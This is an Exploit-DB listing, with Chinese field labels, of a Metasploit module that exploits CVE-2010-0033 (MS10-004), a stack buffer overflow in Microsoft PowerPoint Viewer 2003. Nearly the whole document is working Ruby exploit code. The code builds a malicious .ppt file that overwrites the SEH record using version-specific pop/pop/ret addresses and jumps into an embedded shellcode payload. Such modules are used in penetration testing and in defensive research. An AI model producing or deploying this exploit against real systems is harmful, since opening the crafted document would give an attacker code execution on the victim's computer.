标题: Microsoft PowerPoint Viewer - TextBytesAtom Stack Buffer Overflow (MS10-004) (Metasploit) EDB-ID: 16665 CVE: 2010-0033 类型: LOCAL 平台: WINDOWS 发布日期: 2010-09-25 漏洞利用脚本: ##
# $Id: ms10_004_textbytesatom.rb 10477 2010-09-25 11:59:02Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex/ole'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft PowerPoint Viewer TextBytesAtom Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow vulnerability in the handling of
    the TextBytesAtom records by Microsoft PowerPoint Viewer. According to Microsoft,
    the PowerPoint Viewer distributed with Office 2003 SP3 and earlier, as well as
    Office 2004 for Mac, are vulnerable.

    NOTE: The vulnerable code path is not reachable on versions of Windows prior to
    Windows Vista.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'SkD',   # original discovery
     'Snake', # PoC
     'jduck'  # metasploit version
    ],
   'Version'        => '$Revision: 10477 $',
   'References'     =>
    [
     [ 'CVE', '2010-0033' ],
     [ 'OSVDB', '62241' ],
     [ 'MSB', 'MS10-004' ],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-017/' ],
     [ 'URL', 'http://www.snoop-security.com/blog/index.php/2010/03/exploiting-ms10-004-ppt-viewer/' ]
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "\x00",
     'DisableNops'   => true # no need
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # Tested with various patch levels of PowerPoint Viewer 2003 (v6.0.2600.0)
     [ 'Microsoft PowerPoint Viewer 2003',
      {
       'SEHOffset' => 132,
       'PopPopRet' => 0x30056471 # pop/pop/ret from PPTVIEW.exe v11.0.5703.0
      }
     ],

     [ 'Microsoft PowerPoint Viewer 2003 (kb949041 or kb956500) or Office 2003 SP3',
      {
       'SEHOffset' => 132,
       'PopPopRet' => 0x3003c767 # pop/pop/ret from PPTVIEW.exe v11.0.8164.0
      }
     ],

=begin
     #
     # This is commented out because of ASLR. gdiplus is no good.
     #
     [ 'Microsoft PowerPoint Viewer 2003 (kb956500 or kb969615)',
      {
       'SEHOffset' => 132,
       #'PopPopRet' => 0x39827475 # pop/pop/ret from gdiplus.dll v11.0.8230.0
       'PopPopRet' => 0x69647475
      }
     ],
=end

     [ 'Microsoft PowerPoint Viewer 2003 (kb969615)',
      {
       'SEHOffset' => 132,
       'PopPopRet' => 0x300566d1 # pop/pop/ret from PPTVIEW.exe v11.0.8305.0
      }
     ],

     #
     # All that is needed for new targets are the two vars! msfpescan will help.
     #

     # crash on a deref path to heaven.
     [ 'Crash Target for Debugging',
      {
       'SEHOffset' => 132,
       'PopPopRet' => 0xdac0ffee
      }
     ]
    ],
   'DisclosureDate' => 'Feb 09 2010'))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'The file name.',  'msf.ppt']),
   ], self.class)
 end

 def ppt_record(tag, data=nil, ver=0, inst=0)
  data ||= ''
  ret = ''
  verinst = (ver & 0xf) | (inst << 4)
  ret << [verinst, tag, data.length].pack('vvV')
  ret << data
  ret
 end

 def exploit

  print_status("Creating PowerPoint Document ...")

  username = Rex::Text.rand_text_alphanumeric(8+rand(8))

  # smash the stack, hit SEH, use the pop-pop-ret to execute code on the stack
  sploit = rand_text(target['SEHOffset'])
  sploit << generate_seh_record(target['PopPopRet'])
  # jump ahead into the next atom
  distance = 10
  sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+" + distance.to_s).encode_string

  # TextBytesAtom
  text_bytes_atom = ppt_record(0xfa8, sploit)
  text_bytes_atom[4,4] = [0xffffffff].pack('V') # ..f8 thru ..ff
  #text_bytes_atom << ppt_record(0xfa8, "\xcc" + ("A" * 2046) + "\xcc")
  text_bytes_atom << ppt_record(0xfa8, ("A" * 16) + payload.encoded)


  # SlidePersistAtom
  spa1_data = [2,0,0,0x80000000,0].pack('VVVVV')
  spa1 = ppt_record(0x3f3, spa1_data)

  # SlideListWithText (first)
  slwt1 = ppt_record(0xff0, spa1, 15, 1)

  # SlidePersistAtom
  spa2_data = ''
  spa2_data << [3,0,2,0x100,0].pack('VVVVV')

  # SlideListWithText container (2nd)
  slwt2_data = ''
  slwt2_data << ppt_record(0x3f3, spa2_data)
  # TextHeaderAtom
  txt_hdr_data = [6].pack('V') # textType
  slwt2_data << ppt_record(0xf9f, txt_hdr_data)
  slwt2_data << text_bytes_atom
  slwt2 = ppt_record(0xff0, slwt2_data, 15)


  # Document container
  doc_data = ''
  doc_data << slwt1
  doc_data << slwt2
  doc = ppt_record(0x3e8, doc_data, 15)


  # MainMaster container
  mdc_data = ppt_record(0xf003, '', 15)
  ppd_data = ppt_record(0xf002, mdc_data, 15)

  # TextMasterStyleAtom
  tmsa_data = [0].pack('v') # cLevels (none)

  mm_data = ''
  mm_data << ppt_record(0xfa3, tmsa_data)
  mm_data << ppt_record(0x40c, ppd_data, 15)
  mm = ppt_record(0x3f8, mm_data, 15)


  # assembled stream contents
  content = ''

  document_offset = content.length
  content << doc

  main_master_offset = content.length
  content << mm

  # PersistPtrIncrementalBlock
  start_num = 1
  count = 2
  ppib_data = [(start_num & 0xfffff) | (count << 20)].pack('V')
  ppib_data << [document_offset].pack('V')
  ppib_data << [main_master_offset].pack('V')
  ppib = ppt_record(0x1772, ppib_data)

  # Store offset and add it
  persist_ptr_incremental_block_offset = content.length
  content << ppib

  # UserEditAtom
  uea_data = ''
  uea_data << [0x100].pack('V')         # lastSlideIdRef
  uea_data << [0x1599,0,3].pack('vCC')  # version, minorVer, majorVer
  uea_data << [0].pack('V')             # offsetLastEdit
  uea_data << [persist_ptr_incremental_block_offset].pack('V')
  uea_data << [1].pack('V')             # docPersistIdRef
  uea_data << [3].pack('V')             # persistIdSeed
  uea_data << [1].pack('v')             # lastView
  uea_data << [0x31c5].pack('v')        # unused??
  uea = ppt_record(0xff5, uea_data)

  # Store offset and add it
  user_edit_atom_offset = content.length
  content << uea


  # Create the output file
  out = File.expand_path(File.join(datastore['OUTPUTPATH'], datastore['FILENAME']))
  stg = Rex::OLE::Storage.new(out, Rex::OLE::STGM_WRITE)
  if (not stg)
   raise RuntimeError, 'Unable to create output file'
  end

  # PowerPoint Document stream
  stm = stg.create_stream("PowerPoint Document")
  if (not stm)
   raise RuntimeError, 'Unable to create "PowerPoint Document" stream'
  end
  stm << content
  stm.close


  # CurrentUserAtom stream
  cua_data = ''
  cua_data << [0x14].pack('V')        # size
  cua_data << [0xe391c05f].pack('V')  # headerToken (not encrypted)
  cua_data << [user_edit_atom_offset].pack('V')
  cua_data << [username.length].pack('v')
  cua_data << [0x3f4].pack('v')       # docFileVersion
  cua_data << [3,0].pack('CC')        # majorVer, minorVer
  cua_data << [0x3b].pack('v')        # unused??
  cua_data << username
  cua_data << [8].pack('V')           # relVersion (1 master slide)
  cua_data << Rex::Text.to_unicode(username)

  current_user_stream = ppt_record(0xff6, cua_data)

  stm = stg.create_stream("Current User")
  if (not stm)
   raise RuntimeError, 'Unable to create "Current User" stream'
  end
  stm << current_user_stream
  stm.close

  stg.close

  print_status("Generated output file #{out}")

 end

end URL: https://www.exploit-db.com/exploits/16665